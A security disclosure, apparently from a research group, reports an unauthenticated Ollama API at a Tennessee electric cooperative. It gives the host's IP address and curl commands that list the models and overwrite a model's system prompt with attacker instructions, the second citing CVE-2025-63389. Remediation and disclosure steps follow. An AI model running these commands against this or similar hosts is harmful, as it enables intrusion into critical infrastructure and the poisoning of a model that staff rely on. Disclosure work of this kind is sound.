Meriwether Lewis Electric Cooperative: 235B-Parameter Model on Unauthenticated Ollama

NuClide Research · 2026-05-01

Summary

Meriwether Lewis Electric Cooperative (rural electric utility, Tennessee) running a 235-billion-parameter Ollama instance with raw API port publicly accessible. No authentication. The model inventory, including a 132GB MoE model, indicates significant dedicated GPU infrastructure deployed without basic network security controls.

Infrastructure

Models

Total local model storage: ~208 GB

Findings

F1: Unauthenticated Ollama API (CRITICAL)

Port 11434 publicly accessible on critical infrastructure operator’s network. No authentication.

curl http://66.220.170.90:11434/api/tags

All four models enumerable and injectable without credentials.

F2: Model Injection on Critical Infrastructure (CRITICAL)

CVE-2025-63389 applies to this instance:

curl -X POST http://66.220.170.90:11434/api/create \
  -d '{"model":"qwen3:235b-a22b","from":"qwen3:235b-a22b","system":"[attacker prompt]"}'

If this model is used for operational decision support or staff workflows, injected instructions affect output on every future invocation.

F3: 235B MoE Model Accessible to Unauthenticated Actors (HIGH)

qwen3:235b-a22b (132GB) represents significant compute accessible without restriction. Any actor can run free inference at the utility’s hardware cost. The vision-language model (qwen3-vl:32b) could process operational imagery if accessible in the workflow.

Impact

Electric cooperative AI deployment on utility infrastructure with no access control. Classification: Critical Infrastructure under CISA ICS-CERT scope (Energy Sector).

Remediation

OLLAMA_HOST=127.0.0.1:11434
systemctl restart ollama

Firewall rule at network perimeter blocking inbound TCP 11434 as defense-in-depth.

Disclosure

• Discovered: 2026-05-01
• Status: Pending, CERT/CC VINCE submission recommended (covers class-wide CVE-2025-63389)
• Escalation path: CISA ICS-CERT, E-ISAC (Energy sector)